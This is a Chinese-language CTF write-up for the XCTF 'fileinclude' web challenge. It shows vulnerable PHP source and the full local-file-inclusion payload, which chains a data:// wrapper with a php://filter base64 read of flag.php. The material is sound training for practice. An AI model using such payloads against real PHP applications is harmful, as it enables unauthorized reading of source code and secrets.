CTFer成长记录——CTF之Web专题·攻防世界—fileinclude·好多文件呀

发布时间 2023-07-29 10:33:37作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

  需要传入两个参数file1与file2,其中要保证file2参数中的文件内容是hello ctf,传法是:file2=data://text/plain,hello ctf,直接传hello ctf是不行的,

  file1就用来读取flag.php文件,传法是:?file1=php://filter/convert.base64-encode/resource=flag.php

  最后构造payload:?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

  获取到base64密文,解密即可得到flag

三、总结

  本题的文件上传需要审计代码,要清楚每个参数的作用,还要知道参数的文件内容写入方法。